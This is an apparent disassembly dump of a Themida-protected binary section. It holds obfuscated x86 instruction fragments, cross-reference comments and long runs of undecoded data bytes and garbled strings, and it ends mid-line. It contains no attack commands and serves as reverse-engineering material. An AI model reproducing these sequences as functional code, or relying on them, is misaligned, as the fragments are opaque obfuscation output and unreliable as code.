sub esp, 4 jmp loc_56373F ; --------------------------------------------------------------------------- db 5Bh dd 15DEA31h, 24148BD0h, 4C481h, 0E9500000h, 0FFFF887Dh ; --------------------------------------------------------------------------- loc_560498: ; CODE XREF: Themida_:00557DDDj mov ecx, 447312D2h xor ecx, 29401CA7h shr ecx, 7 sub ecx, 24083612h add ecx, 2A301837h sub edx, ecx pop ecx sub edx, eax push 55E1h mov [esp], edi mov edi, 2995448Eh jmp loc_557FB9 ; --------------------------------------------------------------------------- loc_5604C9: ; CODE XREF: Themida_:005552FBj xor eax, ebx pop ebx push eax jmp loc_5587AA ; --------------------------------------------------------------------------- dw 1487h aSfv db '$ИFV',0 align 2 word_5604DA dw 0FF66h ; DATA XREF: Themida_:00552B9Co dd 0BC70E932h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5604E2: ; CODE XREF: Themida_:00560791j mov [esp], ebx add dword ptr [esp], 29804F01h push dword ptr [esp] mov esi, [esp] add esp, 4 add esp, 4 push 728h mov [esp], eax push ebp push eax jmp loc_556B6A ; --------------------------------------------------------------------------- dw 82B2h dd 0FF4D10E9h, 4D828FFh, 8BB75349h, 0FE8FEF80h, 7EFC0C7h dd 80FCC780h, 0C78014CFh, 0F55FE9FCh, 6C81FFFFh, 4F810424h dd 74015091h, 44810424h, 4F810424h, 44815091h, 7C750424h dd 4481417Eh, 1C110424h, 348B3839h, 4C48324h, 83241C8Bh dd 895204C4h, 71E953E2h, 81FFFFA4h, 421EFBE6h, 4EC8124h dd 89000000h, 6857242Ch, 114E630Bh, 4EC835Fh, 680CE9h db 0 ; --------------------------------------------------------------------------- loc_560585: ; CODE XREF: Themida_:00558761j xor ecx, 2F3B1D88h add ebp, ecx jmp loc_557BAB ; --------------------------------------------------------------------------- dw 48Fh dd 0C75E924h, 1580000h, 1C8B5FFEh, 4C48324h, 0A6211FBBh dd 0C009E90Bh, 0D6B8FFFFh, 0E95C3F9Bh, 0FFFFCF78h, 0D102E1C1h dd 9EE181E9h, 833F052Eh, 5249FFC1h, 0F97DFFBAh, 5AD1296Fh dd 0FF3070E9h db 0FFh ; --------------------------------------------------------------------------- loc_5605D5: ; CODE XREF: Themida_:00556C8Ej add ebx, ecx pop ecx add ebp, ebx jmp loc_55793B ; --------------------------------------------------------------------------- db 83h dd 476804C1h, 89000010h, 0CDE9240Ch, 0FFFFFF5Ah, 81592434h dd 4C4h, 0D0296600h, 638A2D66h, 8124148Bh, 4C4h, 66576600h dd 66280D68h, 83243C8Bh, 816602C4h, 0E936DDC3h, 0FFFFAEE7h dword_560620 dd 1EC2E9ADh, 8F540000h, 4832404h, 575A0424h, 5664D3BFh ; DATA XREF: Themida_:00552C00o dd 81DFF72Eh, 283813F7h, 66B9514Eh, 0F7189359h, 0D1F741D1h dd 22C98149h, 813EB108h, 3455A0F1h, 59CF096Dh, 96685750h dd 5F25F551h, 3132E9h, 0F2E98100h, 0E901B503h, 0FFFFD99Fh dd 0B4240489h, 273EE9A5h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56067A: ; CODE XREF: Themida_:00559B05j push 28EC6D5Fh pop edx mov esi, 1B7DB641h xor esi, edx pop edx sub edi, esi mov esi, [esp] add esp, 4 jmp loc_56600C ; --------------------------------------------------------------------------- dd 4C481h, 2C810000h, 0DF19F424h, 319BE944h, 0FF58FFFFh dd 505A2434h, 405E089h, 83000000h, 48704C0h, 24248B24h dd 4EC81h, 0C890000h, 5377E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5606CE: ; CODE XREF: Themida_:0055A177j not ebx jmp loc_566C8A ; --------------------------------------------------------------------------- db 5, 4, 0 dd 9E90000h, 0F7FFFF51h, 0C7F581DDh, 0E97B5D63h, 0FFFF2BF4h ; --------------------------------------------------------------------------- loc_5606EC: ; CODE XREF: Themida_:00557E7Dj xor ebp, 6A4E133Eh jmp loc_564EE7 ; --------------------------------------------------------------------------- db 83h dd 8F042404h, 4812404h, 424h, 4BF6E900h, 5159FFFFh, 5C063CB9h dd 6F9AE928h, 1C890000h, 288A6824h, 3C890000h, 3A4EBF24h dd 0EFC1412Ch, 0B854E908h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56072E: ; CODE XREF: Themida_:0056412Aj pop ebp push eax mov eax, 4 add edx, eax pop eax xchg edx, [esp] pop esp shr eax, 0Bh xor ecx, eax push 35A8h mov [esp], ebx push dword ptr [esp] jmp loc_55E7C1 ; --------------------------------------------------------------------------- db 30h, 0CFh, 59h dd 8003E7C0h, 4B2C68EFh, 4B04F828h, 0FF40CEE9h, 0C2815CFFh dd 4, 5202C283h, 42474FFh, 5A2434FFh, 4EC81h, 35E90000h db 2Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_560783: ; CODE XREF: Themida_:00562E2Dj mov [esp], ecx jmp loc_558926 ; --------------------------------------------------------------------------- loc_56078B: ; CODE XREF: Themida_:00557B78j mov [esp], esi sub esp, 4 jmp loc_5604E2 ; --------------------------------------------------------------------------- loc_560796: ; CODE XREF: Themida_:005620B0j pop eax sub esp, 4 jmp loc_55B7D3 ; --------------------------------------------------------------------------- dw 0F281h aXJjsR db 'X}сjJИ<R',0 align 2 dw 74FFh dd 34FF0424h, 0C4835824h, 24048F04h, 6624248Bh, 0E9240C8Bh dd 0FFFF84C7h dword_5607C8 dd 24048B66h, 0F2E95451h ; DATA XREF: Themida_:00552A34o db 88h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5607D3: ; CODE XREF: Themida_:00552DD8j or edi, 1EE36630h inc edi add edi, 349929F3h shr edi, 5 add edi, 0FE5C1ABBh add ebp, edi jmp loc_55CC81 ; --------------------------------------------------------------------------- dd 477BE951h, 0C381FFFFh, 40929C31h, 244BE9h db 0 ; --------------------------------------------------------------------------- loc_560801: ; CODE XREF: Themida_:0055E9DCj add ebx, edi mov edi, [esp] add esp, 4 push ecx mov ecx, 6B237AA3h shr ecx, 7 neg ecx push eax mov eax, 6EF607BEh jmp loc_5613E1 ; --------------------------------------------------------------------------- aShi db 'Sh┴-',0 dd 24048900h, 0FF5807E9h db 0FFh ; --------------------------------------------------------------------------- loc_56082D: ; CODE XREF: Themida_:00555DDCj pop edi xchg ebx, [esp] pop esp add esp, 4 push 551h jmp loc_5626C1 ; --------------------------------------------------------------------------- db 89h dd 4C381E3h, 83000000h, 20E904EBh, 54000029h, 4C6815Eh dd 57000000h, 39BE9h, 64B95100h, 81518F71h, 0FFFFFFC1h dd 0A5F181FFh, 296E9620h, 0DF0159CFh, 51C6BE56h, 3DE93F19h db 69h, 2 dup(0) ; --------------------------------------------------------------------------- loc_56087F: ; CODE XREF: Themida_:00560473j add edi, 2D81F20h jmp loc_559ABE ; --------------------------------------------------------------------------- dw 0D001h dd 9B1CB12Dh, 0C3015A75h, 69516858h, 72E90000h db 4, 2 dup(0) ; --------------------------------------------------------------------------- loc_56089F: ; CODE XREF: Themida_:0056134Dj add esp, 4 push eax push ecx jmp loc_55D3EB ; --------------------------------------------------------------------------- dd 8105E1C1h, 9BA5E4C1h, 8BCB01E0h, 0F1E9240Ch, 5EFFFFB6h dd 5BD88966h, 0E9C20166h, 2B9Ch ; --------------------------------------------------------------------------- loc_5608CC: ; CODE XREF: Themida_:00565CE3j pop eax dec edi xor edi, 1BA561B3h mov ebx, edi pop edi xor edi, ebx mov ebx, [esp] add esp, 4 jmp loc_565787 ; --------------------------------------------------------------------------- db 81h dd 0E630AFEBh, 81EB293Fh, 0E630AFC3h, 242C8B3Fh, 815F5457h dd 4C7h, 3B4FE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560906: ; CODE XREF: Themida_:0056764Ej mov ebx, esp jmp loc_56535C ; --------------------------------------------------------------------------- db 35h, 0BEh, 58h dd 0ACE95760h, 5CFFFF7Dh, 0BA241489h, 13717C5Ah, 2642C281h dd 5DE9327Dh, 81FFFFF8h, 77E5E7C2h, 5AD1319Fh, 28E9CA89h db 75h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56093B: ; CODE XREF: Themida_:005624A8j xchg ebp, [esp] pop esp shr ecx, 7 push 47FEh mov [esp], ebx push ebp mov ebp, 160E6FCBh add dword ptr [esp+4], 59226A5Dh jmp loc_55A9BA ; --------------------------------------------------------------------------- aUh_f db 'Uh.f',0 ; DATA XREF: Themida_:00552C40o dw 8900h dd 2FBE2434h, 56106D16h, 0FFEC40E9h db 0FFh ; --------------------------------------------------------------------------- loc_560971: ; CODE XREF: Themida_:00561105j add eax, 4 xchg eax, [esp] mov esp, [esp] sub esp, 4 mov [esp], ecx jmp loc_560478 ; --------------------------------------------------------------------------- aTxsus db 'TXИ·S',0 align 4 loc_56098C: ; CODE XREF: Themida_:00565C76j and edi, 7E073348h sub edi, 326B6D0h sub edx, edi pop edi or edx, 3B722852h neg edx xor edx, 60005542h add edx, 0C7A98B50h jmp loc_55A1A2 ; --------------------------------------------------------------------------- aXbMo_wsm db '[X│аmO.WИ╛^',0 dd 5BD93100h, 0E981D9F7h, 0D4734086h, 0E959C829h, 4E9Eh dd 4C181h, 0C870000h, 0C3835C24h, 74FF5302h, 0E95B0424h dd 10C1h ; --------------------------------------------------------------------------- loc_5609EC: ; CODE XREF: Themida_:0055FE14j mov ecx, esp add ecx, 4 jmp loc_557B5D ; --------------------------------------------------------------------------- loc_5609F9: ; CODE XREF: Themida_:00558227j pop bx push bx mov bh, 33h and dh, bh pop bx jmp loc_55C01E ; --------------------------------------------------------------------------- dd 47F5C381h, 0FB0153EAh, 68A2E9h db 0 ; --------------------------------------------------------------------------- loc_560A15: ; CODE XREF: Themida_:005541ABj add esp, 4 mov edx, esi push dword ptr [esp] mov esi, [esp] jmp loc_562AA2 ; --------------------------------------------------------------------------- dd 1221B951h, 0E1C171A5h, 0E1814108h, 25535089h, 6E2EE181h dd 0F18162E7h, 7E2877DDh, 4BE9CD31h db 0F3h, 2 dup(0FFh) byte_560A4B db 0ADh ; DATA XREF: Themida_:00552BB8o dd 1AB1E9h db 0 ; --------------------------------------------------------------------------- loc_560A51: ; CODE XREF: Themida_:0055A3B9j pop edx jmp loc_564F29 ; --------------------------------------------------------------------------- db 83h dd 1C8904ECh, 81E38924h, 4C3h, 7D6BE900h, 5A54FFFFh, 4BB53h dd 0DA010000h, 4C2815Bh, 81000000h, 4ECh, 86EE900h, 0C3800000h dd 0B60F5ACBh, 8734FFC0h, 0FF24E5E9h, 243489FFh, 5EF3E9h dd 4B416800h, 4890000h, 8065B424h, 0EC80F4C4h, 1EF480FFh dd 70AA6866h, 241C8966h, 0DC2801B3h, 241C8B66h, 0C002C483h dd 0F48007ECh, 58E728AAh, 166FE9h, 9E95C00h, 0BF00002Ah dd 39F099A4h, 607168h, 24148900h, 58613CBAh, 81EAD126h dd 33B38C2h, 0E9D2F72Ah, 4FDAh ; --------------------------------------------------------------------------- loc_560AF8: ; CODE XREF: Themida_:00557495j inc edi and edi, 77D551B2h jmp loc_553A45 ; --------------------------------------------------------------------------- dd 4E7C15Dh, 6E32F781h, 8CE90504h, 66000022h, 2404BB0Fh dd 21A5E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560B1E: ; CODE XREF: Themida_:0055BFA5j dec esi add esi, 77BF5D59h xor esi, 0BEDBC078h mov edi, esi pop esi dec edi not edi or edi, 28011FBAh xor edi, 0FDABBFBAh sub esi, edi pop edi xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp jmp loc_55E5F1 ; --------------------------------------------------------------------------- db 5 dd 4, 8904EC83h, 0CFE9242Ch, 8FFFFF7Fh, 0A8E92404h db 0A4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560B67: ; CODE XREF: Themida_:00564F49j mov [esp], ebx mov edi, [esp] add esp, 4 push ecx jmp loc_55375F ; --------------------------------------------------------------------------- db 81h, 0EEh, 0B6h dd 816E563Ch, 466EFCEh, 81E6D176h, 704AB1C6h, 5EF3218Ch dd 287FEB81h, 0DE295018h, 4886E95Bh, 47470000h, 8102EFC1h dd 49DD77EFh, 0E9FA0127h, 683Ch, 0C781CF01h, 28E4464Dh dd 0FFDD05E9h db 0FFh ; --------------------------------------------------------------------------- loc_560BBD: ; CODE XREF: Themida_:0056335Aj push ecx mov ecx, 4 add ebp, ecx mov ecx, [esp] add esp, 4 xchg ebp, [esp] pop esp sub esp, 4 mov [esp], ebp mov ebp, 0FA66712Bh xor ecx, ebp mov ebp, [esp] add esp, 4 add eax, ecx mov ecx, [esp] add esp, 4 add eax, 2 jmp loc_559903 ; --------------------------------------------------------------------------- dd 4BFh, 0E9FE2900h, 1D3Ah, 51525954h, 0CC19D7B9h, 1BC18136h dd 520AAF7Dh, 803E1ABAh, 79EA8159h, 87174F52h, 87DBF7DAh dd 0FD01E9DAh, 0C683FFFFh, 0E0E95604h db 84h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560C33: ; CODE XREF: Themida_:00558082j push ebx mov ebx, 0DFE195DEh add ebp, 70A65964h add ebp, ebx sub ebp, 70A65964h mov ebx, [esp] add esp, 4 jmp loc_5548C7 ; --------------------------------------------------------------------------- db 0C1h, 0E2h, 7 dd 1C281h, 0EA810000h, 1, 0E384F281h, 0E9511921h, 0FFFF8808h ; --------------------------------------------------------------------------- loc_560C70: ; CODE XREF: Themida_:00565D18j xchg edi, ebx pop edi jmp loc_55DCC3 ; --------------------------------------------------------------------------- dd 81E28952h, 4C2h, 7F27E900h db 2 dup(0FFh) word_560C86 dw 48Bh ; DATA XREF: Themida_:00552AF4o aHpx db '$hpx',0 align 2 dw 489h dd 4F6CE924h, 0FF5FFFFFh db 34h, 24h, 59h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_55BB79 ; --------------------------------------------------------------------------- dword_560CB0 dd 0E92434FFh, 0FFFF8F7Bh ; DATA XREF: Themida_:00552B50o ; --------------------------------------------------------------------------- loc_560CB8: ; CODE XREF: Themida_:005564DFj mov edi, ecx mov ecx, [esp] push ebp jmp loc_55AD81 ; --------------------------------------------------------------------------- loc_560CC3: ; CODE XREF: Themida_:00553245j mov ebx, [esp] add esp, 4 jmp loc_555984 ; --------------------------------------------------------------------------- dw 0D7BEh dd 8145092Ah, 3A1530C6h, 4EC8335h, 0B8240489h, 7A814F3h dd 8158C631h, 0DE3F9BEEh, 6E6C141h, 8103EEC1h, 3DAEE6F6h dd 0E9F2290Bh, 273Eh, 85AD128h, 685159CEh, 4E9Ah, 0FF22FDE9h dd 241C89FFh, 42474FFh, 24048F5Bh, 6408685Ch, 4890000h dd 8685524h, 8B79D33Eh, 0C483242Ch, 0ECF58104h, 68499433h dd 4D7Ch, 0E9242C89h, 0FFFF9654h, 8104C483h, 7FBFBDC3h dd 19E6E94Ch, 0D7F70000h, 0EB87FB87h, 2414F755h, 0E9EB875Dh dd 0FFFF9536h, 54243C89h, 0FF2CB5E9h, 51CA01FFh, 0FFDCB8E9h dd 0E9F101FFh, 0FFFFB6C9h, 7325B850h, 0BB5311C5h, 51BA0BC9h dd 6E8FEB81h, 0EB8164E0h, 16FC264Bh, 7AE9DBF7h, 0BEFFFF70h dd 775733C1h, 15EF729h, 0C1C781EFh, 81775733h, 4F5E68EFh dd 845DE95Ch, 0E381FFFFh, 405656B8h, 48DFC381h, 0CE90D75h dd 0E9FFFF40h, 0FFFF1EF7h, 1B71BB53h, 0F3813F8Fh, 49D96427h dd 575BD929h, 87A5A7BFh, 5FF93199h, 50BBC281h, 7EE90B2Eh dd 83FFFFFFh, 0EC8104C4h, 4, 0BD242C89h, 414A0906h, 0C583EDD1h dd 406CE9FFh db 2 dup(0) ; --------------------------------------------------------------------------- loc_560E0A: ; CODE XREF: Themida_:0055E531j jmp loc_552CC3 ; --------------------------------------------------------------------------- a4dX db '4╓(цX',0 db 0E3h, 0E9h, 0DEh dd 81FFFF9Ch, 0BB351FF1h, 81D1F765h, 0F91FE6F1h, 59CF015Bh dd 0EF81D701h, 156E75C5h, 0FF264FE9h db 0FFh ; --------------------------------------------------------------------------- loc_560E39: ; CODE XREF: Themida_:0055C5B2j xchg ebx, [esp] jmp loc_557876 ; --------------------------------------------------------------------------- aIuh db '┴Цh}<',0 align 4 dd 0FF979FE9h db 0FFh ; --------------------------------------------------------------------------- loc_560E4D: ; CODE XREF: Themida_:0055AC97j shr edi, 2 push edx mov edx, 709B4416h or edi, edx pop edx shr edi, 4 add edi, 2605A356h sub ebx, edi jmp loc_554136 ; --------------------------------------------------------------------------- loc_560E69: ; CODE XREF: Themida_:0056623Dj push ebx push ecx mov ch, 4 push eax jmp loc_55AF8F ; --------------------------------------------------------------------------- db 29h dd 24048BC2h, 0FF5F5AE9h, 81E689FFh, 4C6h, 6BA5200h, 0E93F4835h dd 0FFFF9E4Ah ; --------------------------------------------------------------------------- loc_560E90: ; CODE XREF: Themida_:00566EFBj add esp, 4 sub ecx, 2FC564C8h add ecx, edi jmp loc_55AFBF ; --------------------------------------------------------------------------- dd 0D0E39BBh, 0E9555768h, 0FFFF9797h ; --------------------------------------------------------------------------- loc_560EAC: ; CODE XREF: Themida_:005561FCj and ah, dl mov edx, [esp] add esp, 4 jmp loc_562575 ; --------------------------------------------------------------------------- db 9, 0EBh, 8Bh dd 81E9242Ch, 0B9FFFFFEh, 4, 0FF2DA9E9h db 0FFh ; --------------------------------------------------------------------------- loc_560ECD: ; CODE XREF: Themida_:00561D71j mov [esp], esp add dword ptr [esp], 4 pop ebx push eax push edx mov edx, 53BF26CFh jmp loc_55749A ; --------------------------------------------------------------------------- loc_560EE1: ; CODE XREF: Themida_:005669C3j sub eax, 0A1A03E5h jmp loc_55ED03 ; --------------------------------------------------------------------------- db 0C1h dd 2C2D04E0h, 5BDAEE4h, 5DA77152h, 522DF801h, 815DA771h dd 4ECh, 241C8900h, 8F367FBBh, 4EBC169h, 0EC83D387h, 24148904h dd 0E92414F7h, 24DDh, 4C381h, 0EB810000h, 4, 0E9241C87h dd 0FFFFF9E3h dword_560F34 dd 9D1C77FFh, 19665866h, 0E99C2404h, 965h, 0EBD0C3FEh ; DATA XREF: Themida_:00552A10o dd 1CB65266h, 8B66F308h, 0C4832414h, 0B0506602h, 66C30058h dd 0E9B62C58h, 0FFFF2BD3h, 0FA2586BEh, 0C0E6810Fh, 8104A64Fh dd 7B3B6DCEh, 0C6C68100h, 11CD7F2h, 0BB7FE9F5h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_560F82: ; CODE XREF: Themida_:0055E959j not eax jmp loc_557110 ; --------------------------------------------------------------------------- db 5, 44h, 0Bh dd 0F00125D7h, 0D70B442Dh, 2434FF25h, 0FFD10FE9h, 5EF201FFh dd 555AD101h, 0C393E956h, 0CD21FFFFh, 0FF5631E9h, 240481FFh dd 4, 8B2434FFh, 0C4812434h, 4, 0FF9BA6E9h, 58C689FFh dd 0FF2EB0E9h, 240C8BFFh, 0FF7AF3E9h db 0FFh ; --------------------------------------------------------------------------- loc_560FD9: ; CODE XREF: Themida_:0055E1A1j add ebp, 4 jmp loc_56560D ; --------------------------------------------------------------------------- loc_560FE4: ; CODE XREF: Themida_:005673BEj add bl, 66h push edx mov dl, 0D3h jmp loc_564826 ; --------------------------------------------------------------------------- db 8Bh dd 0C483243Ch, 77E95D04h, 0B6FFFF3Ah, 0E9F3282Ah, 0FFFF5DDEh dd 0C547C781h, 9DE9A23Fh, 81000039h, 4C5h, 0F1D6800h, 4890000h dd 0B4BB5324h, 0E92C8C66h, 1CAAh, 4C481h, 0A7E90000h, 1FFFF6Ah dd 68575EF0h, 7A53h, 68241489h, 4CF86C35h, 8124148Bh, 4C4h dd 0D00CE900h, 0F75EFFFFh, 9EF381DBh, 435FEF6Fh, 6857DBF7h dd 9CC9B2E3h, 5FFB015Fh, 0E95BDF29h, 0FFFFBF06h, 0E92434FFh dd 0FFFFC390h ; --------------------------------------------------------------------------- loc_561078: ; CODE XREF: Themida_:0055AED5j pop edi xor esi, ebx jmp loc_562446 ; --------------------------------------------------------------------------- dd 50EDB450h, 0FFA427E9h db 0FFh ; --------------------------------------------------------------------------- loc_561089: ; CODE XREF: Themida_:00556438j add esp, 4 add edx, eax push esi push ecx push 7DE574F2h pop ecx jmp loc_55C1B9 ; --------------------------------------------------------------------------- db 66h dd 5BF4C181h, 81664966h, 66F8A7E9h, 40E9C801h, 81FFFFF5h dd 0F979D7EFh, 0EA815954h, 2FFC5B6Dh, 0FFB4A3E9h, 4C781FFh dd 0E9000000h, 0FFFF88F4h ; --------------------------------------------------------------------------- loc_5610CC: ; CODE XREF: Themida_:0055AC43j pop ebx add bl, 0Ch push ax push edx mov dl, 0D8h shr dl, 7 dec dl or dl, 55h sub dl, 0D3h shl dl, 6 xor dl, 53h push ecx mov ch, dl mov al, ch pop ecx mov edx, [esp] add esp, 4 add bl, al pop ax push ecx push ebx mov bh, 52h jmp loc_556EB6 ; --------------------------------------------------------------------------- loc_5610FF: ; CODE XREF: Themida_:00553AB2j add esp, 4 jmp loc_560971 ; --------------------------------------------------------------------------- dw 0E95Bh dd 60Ch ; --------------------------------------------------------------------------- loc_561110: ; CODE XREF: Themida_:0055DEE1j mov [esp], esi jmp loc_556FF9 ; --------------------------------------------------------------------------- dd 68h, 24342900h, 0E924348Bh, 30A5h, 106DBB8h, 0C602E937h dd 1C8BFFFFh, 4C48324h, 541C68h, 24048900h, 468h, 94E95800h dd 68000041h, 2F7927C0h, 59CD2959h, 4EC8156h, 89000000h dd 0A5BA2414h, 0BE609119h, 0AB65F9C6h, 315AD601h, 6CE95EF5h dd 0B9FFFFF5h, 0A115953h, 0E905E1C1h, 6B0h, 4BFh, 5FFA0100h dd 8B241487h, 0EBD12424h, 341CCB81h, 0C3830C0Ah, 8FAFE9FFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56119E: ; CODE XREF: Themida_:0055727Aj shr eax, 3 sub esp, 4 mov [esp], edi push ecx push 6539212Eh jmp loc_563CAD ; --------------------------------------------------------------------------- dw 47BDh dd 8113BB0Dh, 0FFFFFFC5h, 35F581FFh, 0E95B3D62h, 0FFFF93D4h dd 2737B951h, 0CE014C6Fh, 242C8B59h, 81E78957h, 4C7h, 4BE5600h dd 1000000h, 8F34E9F7h, 8159FFFFh, 4C4h, 243C8700h, 0FF932CE9h dd 4E6C1FFh, 518068h, 243C8900h, 17BBB850h, 25E97AE0h dd 8B00005Ah, 0FFE92424h, 81FFFF77h, 0BA20DBEEh, 0E9D62967h dd 1DD0h ; --------------------------------------------------------------------------- loc_561224: ; CODE XREF: Themida_:0055EA6Fj pop ebx pop dword ptr [esp] mov esp, [esp] sub esp, 4 jmp loc_5615EA ; --------------------------------------------------------------------------- dw 0E959h dd 0FFFF5602h db 58h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_55331B ; --------------------------------------------------------------------------- db 81h, 0EAh, 1Ah dd 0F7162B62h, 60F2E9DAh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561252: ; CODE XREF: Themida_:0055B2B3j mov ebp, esp jmp loc_552EB1 ; --------------------------------------------------------------------------- db 5Bh, 4Bh, 81h dd 36F2E4C3h, 0E9D889EDh, 0FFFF439Dh ; --------------------------------------------------------------------------- loc_561268: ; CODE XREF: Themida_:0055771Fj pop edx push edi jmp loc_55A3AA ; --------------------------------------------------------------------------- db 81h dd 0FF552DCEh, 29B85026h, 0E9726462h, 0FFFFC290h ; --------------------------------------------------------------------------- loc_561280: ; CODE XREF: Themida_:005545BFj push edi mov edi, 0F29FBFDAh jmp loc_55FC3D ; --------------------------------------------------------------------------- loc_56128B: ; CODE XREF: Themida_:00562998j sub ecx, 72205C81h add ecx, 3D377AF5h add ecx, 411869B0h jmp loc_553449 ; --------------------------------------------------------------------------- dw 148Bh dd 4C48124h, 83000000h, 3C8904ECh, 0EC685124h, 0E93F990Ch dd 3796h, 0B8C2815Dh, 81275B59h, 4ECh, 0C83E900h, 0C15F0000h dd 12E903EFh, 8BFFFF3Ah, 0C483241Ch, 0A657E904h, 0EC83FFFFh dd 24248904h, 4240483h, 0E924048Fh, 0FFFF6D00h, 0FF241489h dd 5A042474h, 0E924048Fh, 0FFFFF461h ; --------------------------------------------------------------------------- loc_561304: ; CODE XREF: Themida_:0055B502j pop eax dec eax jmp loc_561956 ; --------------------------------------------------------------------------- db 68h dd 0F66h, 0FFF401E9h, 2C383FFh, 5C241C87h, 0FF5325E9h dd 5BDF29FFh, 45E9F901h, 56FFFFFDh, 42474FFh, 24048F5Eh dd 242C895Ch, 392FE951h, 0E9590000h, 0FFFFA8CFh ; --------------------------------------------------------------------------- loc_561344: ; CODE XREF: Themida_:00563B72j pop ecx jmp loc_561464 ; --------------------------------------------------------------------------- loc_56134A: ; CODE XREF: Themida_:005672ACj mov esi, [esp] jmp loc_56089F ; --------------------------------------------------------------------------- loc_561352: ; CODE XREF: Themida_:005550CDj add esp, 4 push ebx mov ebx, 7BA620E1h push edi jmp loc_55E306 ; --------------------------------------------------------------------------- db 33h, 0Ch, 24h dd 0E9240C31h, 282Ah, 34FFF001h, 2434FF24h, 40C2E95Eh dd 5F210000h, 241C8B1Ch, 0E904C483h, 0FFFF3B57h, 815B5453h dd 4C3h, 148AE900h, 4330000h, 0F1815C24h, 4EA40EE5h, 0FFFFE981h dd 0FDE9FFFFh, 5FFFF5Fh, 2E430A48h, 482DD829h, 0E92E430Ah dd 0FFFFB95Ah, 42EFE95Bh, 0FCE90000h, 81FFFF18h, 4C4h dd 0EB816600h, 1667B16h, 0C38166C3h, 51667B16h, 613DE9h db 0 ; --------------------------------------------------------------------------- loc_5613E1: ; CODE XREF: Themida_:0056081Aj sub eax, 4AFD6F32h sub eax, 0D8D9A95Fh sub ecx, eax pop eax xor ebx, ecx pop ecx add ecx, ebx jmp loc_555CA3 ; --------------------------------------------------------------------------- loc_5613F8: ; CODE XREF: Themida_:00563010j mov eax, esp push edx jmp loc_5550D2 ; --------------------------------------------------------------------------- dd 0E9E78957h, 0BF1h, 596A89B9h, 0B4F18175h, 812B4809h dd 0B25EEEE1h, 5F1810Dh, 0E9198536h, 6076h dword_561424 dd 0E92434FFh, 0FFFFEC3Eh, 55DFF747h, 9E18EEBDh, 0F7DD875Eh ; DATA XREF: Themida_:00552C60o dd 45DD87D3h, 8104EDC1h, 0E762ACDh, 73ED8133h, 81DD1B25h dd 3767AFEFh, 0E9EF012Bh, 0FFFF7C62h, 7718ED25h, 0E9D8F770h dd 0FFFF86DEh ; --------------------------------------------------------------------------- loc_561464: ; CODE XREF: Themida_:00561345j sub ecx, 55A04277h pop edi jmp loc_55B0F9 ; --------------------------------------------------------------------------- dd 0CAE9CE21h, 0BFFFFF59h, 6AAD539Eh, 0FFC463E9h, 0C4F281FFh dd 0E9020006h, 1BA7h, 0A0E9C501h, 0BFFFFF8Fh, 0F63045Bh dd 11A2BB53h, 0DF215C8Eh, 6DBE565Bh, 0C13A8169h, 58E908EEh dd 0FFFFFFCAh, 348B2434h, 4C48124h, 57000000h, 0FF8200E9h dd 42F181FFh, 8150A457h, 0C214BAC1h, 0BAC98161h, 81445F26h dd 4ECh, 24048900h, 370CBDB8h, 8E0C10Fh, 2D08E0C1h, 0B5ABC986h dd 9BE9C131h db 33h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5614F3: ; CODE XREF: Themida_:00565AE0j push esi mov esi, 7C877C42h dec esi add esi, 1414461Eh sub esi, 0B60D6137h xor edi, esi pop esi add edx, edi mov edi, [esp] add esp, 4 push esi push 2 jmp loc_55A9E2 ; --------------------------------------------------------------------------- db 5Fh dd 31242C33h, 98E9242Ch db 2Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56152B: ; CODE XREF: Themida_:0055E755j push esi mov esi, 615801E0h sub edx, esi pop esi mov eax, [esp] jmp loc_55B74E ; --------------------------------------------------------------------------- dd 8758C501h, 8F5C242Ch, 845C2404h, 74E99CC8h db 17h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56154F: ; CODE XREF: Themida_:0055D999j add dword ptr [esp], 5D8821BCh mov eax, [esp] jmp loc_55499C ; --------------------------------------------------------------------------- dw 48Fh dd 25F5E924h, 815BFFFFh, 4C3h, 4C38100h, 87000000h, 875C241Ch dd 665C2404h, 9C2424D3h, 0FF173EE9h, 24348BFFh, 81E38953h dd 4C3h, 0E7E95200h, 83FFFF1Bh, 34FF04C4h, 242C8B24h, 4C481h dd 0C4810000h, 4, 4C581h, 0BF570000h, 2, 32B3ED81h, 0FD0121D3h dd 0F99EE956h, 514AFFFFh, 841572B9h, 0FDE9411Dh, 1FFFF55h dd 773F2DF0h, 348B3071h, 4C48124h, 1000000h, 5FEBE9C8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5615EA: ; CODE XREF: Themida_:00561231j mov [esp], esi jmp loc_5571A6 ; --------------------------------------------------------------------------- dw 1C8Bh dd 4C48324h, 75E9C821h, 81FFFF2Ch, 0CE5348F3h, 0D3F74349h dd 8106EBC1h, 552AF2EBh, 5A1A2D03h, 0A4E90E6Ch, 16h, 505166F8h dd 0C0FE13B0h, 0FF3FE4E9h, 0EB8058FFh, 148B66D1h, 0A999E924h dd 0E389FFFFh, 363AB850h, 0BB530892h, 2861B02h, 3D00B951h dd 0C9813B6Fh, 43A50971h, 5DC7E181h, 0F181146Ah, 42DEE238h dd 959CB01h, 6720E9D8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561666: ; CODE XREF: Themida_:005635B3j push ebx mov ebx, 3D034C66h jmp loc_55FCAC ; --------------------------------------------------------------------------- db 5Ah, 0F6h, 0D3h dd 0EF5E9h, 4685000h, 58000000h, 6015EB81h, 22E9476Bh dd 0B8FFFF5Ah, 44776C31h, 0FFF934E9h, 243C89FFh, 